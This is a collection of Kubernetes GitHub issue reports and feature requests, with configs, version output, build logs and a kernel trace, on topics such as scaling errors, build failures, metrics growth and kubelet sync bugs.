kubernetes.io/hostname\ \r               namespaces:   \r       containers:\r       - env:\r         - name: service_53_ignore\r           value: '\ true\ '\r         - name: tz\r           value: us/pacific\r         image: bind\r         name: named\r         resources:\r           limits:\r             memory: \ 150mi\ \r           requests:\r             memory: \ 40mi\ \r       restartpolicy: always\r    \r \r \r

is this a bug report or feature request?    choose one : bug report  i think  ... if it's not a bug then it would be a nice feature!\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.6\ , gitcommit:\ 114f8911f9597be669a747ab72787e0bd74c9359\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t13:36:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : gke and minikube 0.18.0  windows 10, virtualbox 5.1.18 \r -   os    e.g. from /etc/os-release : container-optimized os from google, windows 10 for minikube\r -   kernel    e.g.  uname -a  : 4.4.21+  on gke node \r -   install tools  :\r -   others  :\r \r   what happened  :\r i created a deployment from a config file, then created the corresponding service. this part works fine. when i patch the deployment to use a new image, or when scaling up the deployment, the patched or new pods fail to start due to a port error  or at least appears to look like a port error . the deployments have a single node.js 6.9.2 based container which throws \ error: listen eacces tcp://10.0.0.114:5600\ .\r \r this happens on both gke and minikube.\r \r if i delete the service, then try to patch or scale the deployment, then i don't get the any issues with the pods. that means i need to create another service though.\r \r   what you expected to happen  :\r patching or scaling up the deployment creates pods normally, without needing to delete the deployment's service first.\r \r   how to reproduce it    as minimally and precisely as possible :\r create deployment, then create service, then attempt to scale the deployment. the new pods in the deployment will fail to start.\r \r   anything else we need to know  :\r    deployment config:   \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: user-deployment\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: user\r     spec:\r       containers:\r         - name: user\r           image: asia.gcr.io/substiteach-development/user:latest\r           ports:\r           - containerport: 5600\r       imagepullsecrets:\r         - name: gcr-pull\r    \r    service config:   \r    \r apiversion: v1\r kind: service\r metadata:\r   name: user\r   labels:\r     app: user\r spec:\r   ports:\r   - port: 5600\r     targetport: 5600\r   selector:\r     app: user\r

i get the following error when trying to build the current master branch on a mac. from the timestamps you can see that it takes about 25min of \ syncing sources to container\  before the error shows up.\r \r    \r kubernetes$ make quick-release\r +++  0707 16:15:19  verifying prerequisites....\r +++  0707 16:15:20  building docker image kube-build:build-bd52ebb501-5-v1.8.3-1\r +++  0707 16:15:23  syncing sources to container\r !!!  0707 16:41:57  could not connect to rsync container. see build/readme.md for setting up remote docker engine.\r !!!  0707 16:41:57  call tree:\r !!!  0707 16:41:57   1: build/../build/common.sh:433 kube::build::sync_to_container ... \r !!!  0707 16:41:57   2: build/release.sh:35 kube::build::build_image ... \r make:      quick-release  error 1\r    \r \r docker machine is installed and seems to work well.\r \r    \r kubernetes$ docker-machine ls\r name       active   driver       state     url                         swarm   docker        errors\r default    -        virtualbox   stopped                                       unknown       \r kube-dev            virtualbox   running   tcp://192.168.99.100:2376           v17.06.0-ce\r    \r \r i even upped the memory of the vm to 5gb to no avail. \r \r after i get the above error i can see that the rsync container is still running, and doesn't look as if it crashed or restarted.\r \r    \r kubernetes$ docker ps\r container id        image                                    command             created             status              ports                       names\r e66a70a66ee9        kube-build:build-bd52ebb501-5-v1.8.3-1   \ /rsyncd.sh\         43 minutes ago      up 43 minutes       127.0.0.1:32768->8730/tcp   kube-rsync-bd52ebb501-5-v1.8.3-1\r

pods should be run in parallel with checking the logs from the backend to fit into the timeout.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >    \r \r   what happened  :\r the current man/help page for --selector is hard to understand the correct usage.   man kubectl get  should have an example with comma-delimited use-case, and that multiple --selector  if we can detect it  should have an error message\r \r   what you expected to happen  :\r current help page shows the following.  \r  -l, --selector='': selector  label query  to filter on   \r it would be good to give an example of how to use multiple selectors  oc get pods --selector foo=blah, bar=yeah   or flag an warning/error if user gave multiple --selector in the command \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r  oc get pods  -l component=curator -l provider=openshift \r \r   anything else we need to know?  :\r none\r   environment  :\r - kubernetes version  use  kubectl version  :\r kubernetes v1.3.0+52492b4\r - cloud provider or hardware configuration  :\r openstack\r - os  e.g. from /etc/os-release :\r pretty_name=\ red hat enterprise linux server 7.3  maipo \ \r - kernel  e.g.  uname -a  :\r linux openshift-103.lab.sjc.redhat.com 3.10.0-514.10.2.el7.x86_64  1 smp mon feb 20 02:37:52 est 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r \r @kubernetes/sig-cli

the script tries to find cycles in the staging folder with a short name of repos. this will create problems as \ k8s.io/api\ 's short name is \ api\  and the grep commands will match that to \ kube-openapi\  and thinks kubeopenapi has a cyclic dependency. e.g.:\r \r    \r echo \ k8s.io/kubernetes/vendor/k8s.io/kube-openapi/pkg/util\  | grep -e \ api|apiextensions-apiserver|apimachinery|apiserver|client-go|kube-aggregator|kube-gen|metrics|sample-apiserver\    \r \r returns  util  package while its intend was to grep \ k8s.io/api/\  instead of \ api\ . i suggest we change pattern to \ k8s.io/$$$/\  where $$$ is the old pattern values.

separating this out from the umbrella issue https://github.com/kubernetes/kubernetes/issues/52189 to just focus on the e2e_node test coverage for verifying device plugin functionality with kubelet restarts. this is important to verify that device plugin checkpointing works as intended.\r \r we would like to get this test into 1.8 to verify the device plugin feature we introduced in 1.8 works as intended.\r \r note: this test is benign and it only exposes additional signals. it will not de-stabilize the release or affect other release blocking tests.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r >  \r \r   what happened  :\r for now, when we  cordon / uncordon / drain  a node from a k8s cluster, we can not add a comment describing the reason to do so. an comment is useful for recording the reason in case someone else want to know the root cause.\r   what you expected to happen  :\r when running  kubectl cordon/uncordon/drain node , we can add a comment and running like this:  kubectl cordon/uncordon/drain node comment \r \r /cc @kubernetes/sig-node-feature-requests

 \r   what happened  :\r e2e node summary test fails on machines with more than 10gb of ram.\r \r   what you expected to happen  :\r memory limit bounds to look at node capacity rather than hardcode an upper bound.\r \r   how to reproduce it  as minimally and precisely as possible   :\r have more ram on a box and run e2e-node focus=summary\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r in china\r it's difficult to install k8s \r we have great greatfire\r \r we can not reach the site\r http://packages.cloud.google.com/yum/repos\r gcr.io\r \r   what you expected to happen  :\r get install k8s successful\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we need yum repo mirror\r and gcr.io images\r \r   anything else we need to know?  :\r for chinese developers\r it's too hard to install k8s without vpn\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r >  \r  \r   what happened  :\r \r we have been running with cpu-manager-policy set to static for several weeks without issues, but starting this week we have servers spontaneously reboot when pods with  resources  meet the cpu-manager-policy=static criteria starting/restarting on them.  it does not happen every time.   these pods used to do httpget for liveness and readiness probes, but this week they have changed to use exec and use curl directly.   we have other pods using exec for probes, but they don't get updated/restarted as often.\r \r turning off cpu-manager-policy=static have stopped the reboot.\r \r we did not get kernel dump due to misconfiguration, but this error showed up several times before the reboot happens.\r \r    \r dec  4 18:14:48 7yjhsd2 kernel: list_add corruption. next->prev should be prev  ffff8810283b60e0 , but was dead000000000200.  next=ffff88104913e6e0 .\r dec  4 18:14:48 7yjhsd2 kernel: ------------  cut here  ------------\r dec  4 18:14:48 7yjhsd2 kernel: warning: cpu: 13 pid: 0 at lib/list_debug.c:25 __list_add_valid+0x3a/0x80\r dec  4 18:14:48 7yjhsd2 kernel: modules linked in: vfat fat uas usb_storage binfmt_misc tcp_diag inet_diag xt_statistic xt_nat xt_recent veth mpt3sas raid_class scsi_transport_sas mp\r dec  4 18:14:48 7yjhsd2 kernel: ip_tables xfs libcrc32c sd_mod mgag200 i2c_algo_bit crc32c_intel drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops ttm ahci libahci drm tg3\r dec  4 18:14:48 7yjhsd2 kernel: cpu: 13 pid: 0 comm: swapper/13 tainted: g        w       4.13.8-1.el7.elrepo.x86_64  1\r dec  4 18:14:48 7yjhsd2 kernel: hardware name: dell inc. poweredge r630/02c2cp, bios 2.5.5 08/16/2017\r dec  4 18:14:48 7yjhsd2 kernel: task: ffff88105ba5c5c0 task.stack: ffffc90006460000\r dec  4 18:14:48 7yjhsd2 kernel: rip: 0010:__list_add_valid+0x3a/0x80\r dec  4 18:14:48 7yjhsd2 kernel: rsp: 0000:ffff88105ef83ca8 eflags: 00010046\r dec  4 18:14:48 7yjhsd2 kernel: rax: 0000000000000075 rbx: ffff881049948800 rcx: 0000000000000000\r dec  4 18:14:48 7yjhsd2 kernel: rdx: 0000000000000000 rsi: 00000000000000f6 rdi: 0000000000000300\r dec  4 18:14:48 7yjhsd2 kernel: rbp: ffff88105ef83ca8 r08: 0000000000000000 r09: 00000000000010dd\r dec  4 18:14:48 7yjhsd2 kernel: r10: 0000000000000004 r11: 00000000000010dc r12: ffff88105ef9c000\r dec  4 18:14:48 7yjhsd2 kernel: r13: ffff8810499488e0 r14: ffff8810283b60e0 r15: ffff88104913e6e0\r dec  4 18:14:48 7yjhsd2 kernel: fs:  0000000000000000 0000  gs:ffff88105ef80000 0000  knlgs:0000000000000000\r dec  4 18:14:48 7yjhsd2 kernel: cs:  0010 ds: 0000 es: 0000 cr0: 0000000080050033\r dec  4 18:14:48 7yjhsd2 kernel: cr2: 0000000000b40ca0 cr3: 0000000001c09000 cr4: 00000000003406e0\r dec  4 18:14:48 7yjhsd2 kernel: dr0: 0000000000000000 dr1: 0000000000000000 dr2: 0000000000000000\r dec  4 18:14:48 7yjhsd2 kernel: dr3: 0000000000000000 dr6: 00000000fffe0ff0 dr7: 0000000000000400\r dec  4 18:14:48 7yjhsd2 kernel: call trace:\r dec  4 18:14:48 7yjhsd2 kernel: <irq>\r dec  4 18:14:48 7yjhsd2 kernel: enqueue_entity+0x274/0x720\r dec  4 18:14:48 7yjhsd2 kernel: enqueue_task_fair+0x7d/0x8a0\r dec  4 18:14:48 7yjhsd2 kernel: ? __update_load_avg_blocked_se.isra.34+0xa4/0xf0\r dec  4 18:14:48 7yjhsd2 kernel: activate_task+0x51/0xc0\r dec  4 18:14:48 7yjhsd2 kernel: ? sched_clock+0x9/0x10\r dec  4 18:14:48 7yjhsd2 kernel: ttwu_do_activate+0x49/0x90\r dec  4 18:14:48 7yjhsd2 kernel: try_to_wake_up+0x1e1/0x470\r dec  4 18:14:48 7yjhsd2 kernel: wake_up_state+0x10/0x20\r dec  4 18:14:48 7yjhsd2 kernel: signal_wake_up_state+0x19/0x30\r dec  4 18:14:48 7yjhsd2 kernel: complete_signal+0xf6/0x1f0\r dec  4 18:14:48 7yjhsd2 kernel: send_sigqueue+0x100/0x200\r dec  4 18:14:48 7yjhsd2 kernel: ? find_next_bit+0xb/0x10\r dec  4 18:14:48 7yjhsd2 kernel: posix_timer_event+0x3b/0x50\r dec  4 18:14:48 7yjhsd2 kernel: posix_timer_fn+0x4a/0xc0\r dec  4 18:14:48 7yjhsd2 kernel: ? posix_timer_event+0x50/0x50\r dec  4 18:14:48 7yjhsd2 kernel: __hrtimer_run_queues+0xe5/0x230\r dec  4 18:14:48 7yjhsd2 kernel: hrtimer_interrupt+0xa8/0x1a0\r dec  4 18:14:48 7yjhsd2 kernel: local_apic_timer_interrupt+0x35/0x60\r dec  4 18:14:48 7yjhsd2 kernel: smp_apic_timer_interrupt+0x38/0x50\r dec  4 18:14:48 7yjhsd2 kernel: apic_timer_interrupt+0x93/0xa0\r dec  4 18:14:48 7yjhsd2 kernel: rip: 0010:poll_idle+0x2e/0x5d\r dec  4 18:14:48 7yjhsd2 kernel: rsp: 0000:ffffc90006463e58 eflags: 00000246 orig_rax: ffffffffffffff10\r dec  4 18:14:48 7yjhsd2 kernel: rax: 0000000000200000 rbx: ffffe8ffff780300 rcx: 0000000000000000\r dec  4 18:14:48 7yjhsd2 kernel: rdx: 0000000000000000 rsi: ffff88105ba5c5c0 rdi: ffffe8ffff780300\r dec  4 18:14:48 7yjhsd2 kernel: rbp: ffffc90006463e58 r08: 0000000000006731 r09: 00000000000011b4\r dec  4 18:14:48 7yjhsd2 kernel: r10: 000000000000030b r11: 0000000000000018 r12: 0000000000000000\r dec  4 18:14:48 7yjhsd2 kernel: r13: ffffffff81d6b9f8 r14: ffffe8ffff780300 r15: ffffffff81d6b9e0\r dec  4 18:14:48 7yjhsd2 kernel: </irq>\r dec  4 18:14:48 7yjhsd2 kernel: cpuidle_enter_state+0x9e/0x280\r dec  4 18:14:48 7yjhsd2 kernel: cpuidle_enter+0x17/0x20\r dec  4 18:14:48 7yjhsd2 kernel: call_cpuidle+0x23/0x40\r dec  4 18:14:48 7yjhsd2 kernel: do_idle+0x172/0x1e0\r dec  4 18:14:48 7yjhsd2 kernel: cpu_startup_entry+0x73/0x80\r dec  4 18:14:48 7yjhsd2 kernel: start_secondary+0x159/0x1a0\r dec  4 18:14:48 7yjhsd2 kernel: secondary_startup_64+0x9f/0x9f\r dec  4 18:14:48 7yjhsd2 kernel: code: 19 48 8b 32 48 39 f0 75 42 48 39 c7 74 23 48 39 fa 74 1e b8 01 00 00 00 5d c3 48 89 c1 48 c7 c7 b0 ae a8 81 31 c0 e8 29 b2 d3 ff <0f> ff 31 c0 5\r dec  4 18:14:48 7yjhsd2 kernel: ---  end trace ea9cc7c7b92eb9c8  ---\r    \r \r   what you expected to happen  :\r \r servers should kernel panic and reboot.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r still working on this.\r \r   anything else we need to know?  :\r \r talked to @connordoyle and decided to file a bug here.  the bug may be elsewhere but cpu-manager-policy=static is part of the issue from what we observe.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.3\r - cloud provider or hardware configuration: bare metal, dell poweredge servers\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 4.13.8-1.el7.elrepo.x86_64\r - install tools: custom\r - others:\r \r /cc @connordoyle @sjenning

is this a bug report or feature request?  :\r \r  / @kubernetes/sig-testing-bugs \r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/54294/pull-kubernetes-e2e-kops-aws/69102/ failed\r \r    \r i0117 12:25:44.217    running setup.py install for pyyaml\r i0117 12:25:44.322      checking if libyaml is compilable\r i0117 12:25:44.322      x86_64-linux-gnu-gcc -pthread -dndebug -g -fwrapv -o2 -wall -wstrict-prototypes -fno-strict-aliasing -d_fortify_source=2 -g -fstack-protector-strong -wformat -werror=format-security -fpic -i/usr/include/python2.7 -c build/temp.linux-x86_64-2.7/check_libyaml.c -o build/temp.linux-x86_64-2.7/check_libyaml.o\r i0117 12:25:44.335      build/temp.linux-x86_64-2.7/check_libyaml.c:2:18: fatal error: yaml.h: no such file or directory\r i0117 12:25:44.335        include <yaml.h>\r i0117 12:25:44.335                        ^\r i0117 12:25:44.336      compilation terminated.\r i0117 12:25:44.361      \r i0117 12:25:44.361      libyaml is not found or a compiler error: forcing --without-libyaml\r i0117 12:25:44.362       if libyaml is installed correctly, you may need to\r i0117 12:25:44.362       specify the option --include-dirs or uncomment and\r i0117 12:25:44.362       modify the parameter include_dirs in setup.cfg \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r there is no way to specify the ownership of the mounted volumes per volume. there is only the podsecuritycontext filed fsgroup, however this is applied to all the containers and volume mounts of the pod. \r \r   what you expected to happen  :\r it would be nice to have a more fine grained solution for the volume mounts. thanks!\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:59:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ archive\ , builddate:\ 2018-01-26t12:40:31z\ , goversion:\ go1.8.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r openstack\r \r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.4  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ server\ \r variant_id=\ server\ \r version_id=\ 7.4\ \r pretty_name=\ red hat enterprise linux server 7.4  maipo \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.4:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.4\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.4\ \r \r - kernel  e.g.  uname -a  :\r linux vm-2 4.4.89-1.el7.elrepo.x86_64  1 smp wed sep 27 06:45:38 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >   \r \r   what happened  :\r \r the scheduler offers the option to configure max volumes per kubelet/node. this may be required for arbitrary reasons. currently, that code gets only called when one runs on aws, gce or azure:\r \r https://github.com/kubernetes/kubernetes/blob/1f4f0123edc973d06ceb15d517eb4c555b944427/pkg/scheduler/algorithmprovider/defaults/defaults.go l123-l139\r https://github.com/kubernetes/kubernetes/blob/1f4f0123edc973d06ceb15d517eb4c555b944427/pkg/scheduler/algorithm/predicates/predicates.go l317-l353\r \r https://github.com/kubernetes/kubernetes/blob/1f4f0123edc973d06ceb15d517eb4c555b944427/pkg/scheduler/algorithm/predicates/predicates.go l356-l368\r \r it would be awesome if it was possible to set that option no matter what provider one runs on.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r in kubernetes 1.11.x, the controller-manager metrics are providing histogram records for every api endpoint ever called during namespace cleanup. for every namespace that is deleted since a controller has been the leader, 1000+ new lines of metrics are created / served indefinitely. when creating/deleting namespaces at a rate of 100/hour, that's 100,000+ new metrics lines being served for every request of controller-manager/metrics. \r \r @cduchesne spun up a 1.10 environment, and says it looks like the namespace names were replaced with {namespace}:\r    \r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.001\ } 0\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.002\ } 0\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.004\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.008\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.016\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.032\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.064\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.128\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.256\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ 0.512\ } 3\r rest_client_request_latency_seconds_bucket{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ ,le=\ +inf\ } 3\r rest_client_request_latency_seconds_sum{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ } 0.009903814\r rest_client_request_latency_seconds_count{url=\ http://127.0.0.1:8080/api/v1/namespaces/%7bnamespace%7d/configmaps\ ,verb=\ delete\ } 3\r    \r \r in 1.11 this has changed  short clip of 1 histogram :\r    \r rest_client_request_latency_seconds_count{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-zkjs4/configmaps?includeuninitialized=%7bvalue%7d\ ,verb=\ get\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.001\ } 0\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.002\ } 0\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.004\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.008\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.016\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.032\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.064\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.128\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.256\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ 0.512\ } 1\r rest_client_request_latency_seconds_bucket{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ ,le=\ +inf\ } 1\r rest_client_request_latency_seconds_sum{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ } 0.002813621\r rest_client_request_latency_seconds_count{url=\ https://127.0.0.1:6443/api/v1/namespaces/e2e-tests-znspv/configmaps\ ,verb=\ delete\ } 1\r    \r \r   what you expected to happen  :\r don't generate so many metrics.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to replicate in 1.11.x, simply create and then delete a namespace and query the metrics endpoint of your controller-manager.\r \r   anything else we need to know?  :\r \r repro steps and bug reported by @cduchesne\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r

 \r   what happened  :\r \r running a deployment that has a replicaset  of scale 1 or 3, it's happened either way . one of the containers    0    in the pod is the stock \ leaderelector\  image. the second container was in clbo  due to a configuration problem .\r \r after a redeployment, we noticed that the endpoint was still owned by an old pod - one that kubeapi claimed no knowledge of. furthermore, the lease on that endpoint was being renewed.\r \r on investigation, it appeared that kubelet on the nodes where the pod had been scheduled  on  all  three nodes for the scale=3 case  had kept the docker container and /pause container alive for the leaderelector container. in fact, killing the container from within docker on the affected nodes caused kubelet to spawn a replacement!\r \r it seems like kubelet had permanently gotten out of sync with kubeapi  as far as these pods were concerned . other pods, etc, would start and be terminated on the node quite happily.\r \r a  systemctl restart kubelet  on a cordoned node caused kubelet to correctly resync and remove the spurious docker container.\r \r   what you expected to happen  :\r \r when the pod was terminated, kubelet should have noticed this.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i don't yet have a good repro; however i've seen this happen a couple of times in as many days thus far. it's particularly noticeable because the affected pod / container has an obvious side-effect  a lease renewal .\r \r   anything else we need to know?  :\r \r largely raising this in case anyone else has seen something similar.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.1\r - cloud provider or hardware configuration: oracle oci - however there's nothing provider-specific going on here i think\r - os  e.g. from /etc/os-release : oracle linux 7.5\r - kernel  e.g.  uname -a  : 4.1.12-124.18.5.el7uek.x86_64  2 smp mon aug 13 16:15:23 pdt 2018 x86_64 x86_64 x86_64 gnu/linux - but i think the problem's inside kubelet\r \r

http://stackoverflow.com/questions/32316178/does-kubernetes-pv-recognize-namespace-when-created-queried-with-kubectl/32337310?noredirect=1 comment52557906_32337310  we should make sure the swagger does not list namespace as a valid field

right now, federation-apiserver depends on  pkg/api   https://github.com/kubernetes/kubernetes/blob/2127a40596dfc08dfe95ed1a76034d00d17ef66e/federation/apis/core/deep_copy.go l20  to reuse some of the deep_copy_generated funcs related to service. as a side effect of that dependency, deep copy functions for _all_ v1 api resources are registered to the schema automatically: https://github.com/kubernetes/kubernetes/blob/ec518005a89ea0b2094f3ae3e565eaa30816d8ce/pkg/api/deep_copy_generated.go l35. this is unnecessary. we need to register only the service functions in federation-apiserver.  as a result of this, https://github.com/kubernetes/kubernetes/blob/2127a40596dfc08dfe95ed1a76034d00d17ef66e/federation/apis/core/deep_copy.go is useless.  one way to fix this will be to move the code that auto registers deep copy funcs out of pkg/api into a sub package  similar to  pkg/api/install  or maybe reuse the same? .  cc @kubernetes/sig-cluster-federation @kubernetes/sig-api-machinery @thockin

we should establish a standard base image for use across all of our \ system\  containers. i'm defining system containers to be containers that part of the kubernetes release, and run in production  e.g. kubeproxy, kube-dns, heapster, dashboard, etc. \r \r   motivation  \r \r - using a common base image  and version!  greatly simplifies cve management, and also lets us standardize our build tooling & process.\r - we can invest the time to make an informed technical decision around a single base image, rather than a separate  and historically less well thought out  decision for each container.\r - docker layer caching means less disk space & faster downloads\r \r   considerations  \r \r -   dynamically loaded libraries  : some images  e.g. kubeproxy, fluentd  rely on more than a statically built binary, so basing off something like scratch is non-trivial.\r -   debugging  : current debugging practices commonly rely on executing debug tools within the container, generally through kubectl exec + shell. there are several proposals to fix this  https://github.com/kubernetes/kubernetes/pull/35584, https://github.com/kubernetes/kubernetes/issues/10834 , but for the time being basic tools  ala busybox  are a requirement.\r -   timely security patches  :  some distributions are more responsive with rapid security patches than others. timely security patches is a requirement, but \ timely\  is 